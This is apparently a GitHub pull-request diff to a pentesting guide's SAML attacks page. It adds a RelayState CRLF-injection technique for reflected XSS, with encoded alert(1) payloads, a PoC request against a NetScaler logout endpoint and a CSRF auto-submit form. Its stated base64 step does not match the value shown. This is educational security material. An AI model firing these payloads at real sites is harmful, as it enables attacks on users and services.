Skip to content
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
62 changes: 59 additions & 3 deletions src/pentesting-web/saml-attacks/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -25,7 +25,7 @@ require 'rexml/document'
doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
<Y/><![CDATA[--><X><Z/><!--]]]>
</X>
XML

Expand Down Expand Up @@ -297,13 +297,69 @@ with open("/home/fady/uberSAMLOIDAUTH") as urlList:
print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit)
```

## RelayState-based header/body injection to rXSS

Some SAML SSO endpoints decode `RelayState` and then reflect it into the response without sanitization. If you can inject newlines and override the response `Content-Type`, you can force the browser to render attacker-controlled HTML, achieving reflected XSS.

- Idea: abuse response-splitting via newline injection in the reflected RelayState. See also the generic notes in [CRLF injection](../crlf-0d-0a.md).
- Works even when RelayState is base64-decoded server-side: supply a base64 that decodes to header/body injection.

Generalized steps:

1. Build a header/body injection sequence starting with a newline, overwrite content type to HTML, then inject HTML/JS payload:

Concept:

```text
\n
Content-Type: text/html


<svg/onload=alert(1)>
```
2. URL-encode the sequence (example):

```text
%0AContent-Type%3A+text%2Fhtml%0A%0A%0A%3Csvg%2Fonload%3Dalert(1)%3E
```
3. Base64-encode that URL-encoded string and place it in `RelayState`.

Example base64 (from the sequence above):

```text
DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==
```
4. Send a POST with a syntactically valid `SAMLResponse` and the crafted `RelayState` to the SSO endpoint (e.g., `/cgi/logout`).
5. Deliver via CSRF: host a page that auto-submits a cross-origin POST to the target origin including both fields.

PoC against a NetScaler SSO endpoint (`/cgi/logout`):

```http
POST /cgi/logout HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

SAMLResponse=[BASE64-Generic-SAML-Response]&RelayState=DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==
```

CSRF delivery pattern:

```html
<form action="https://target/cgi/logout" method="POST" id="p">
<input type="hidden" name="SAMLResponse" value="[BASE64-Generic-SAML-Response]">
<input type="hidden" name="RelayState" value="DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==">
</form>
<script>document.getElementById('p').submit()</script>
```

Why it works: the server decodes `RelayState` and incorporates it into the response in a way that permits newline injection, letting the attacker influence headers and body. Forcing `Content-Type: text/html` causes the browser to render the attacker-controlled HTML from the response body.

## References

- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)
- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)
- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/)
- [https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/)
- [Is it CitrixBleed4? Well no. Is it good? Also no. Citrix NetScaler’s Memory Leak & rXSS (CVE-2025-12101)](https://labs.watchtowr.com/is-it-citrixbleed4-well-no-is-it-good-also-no-citrix-netscalers-memory-leak-rxss-cve-2025-12101/)

{{#include ../../banners/hacktricks-training.md}}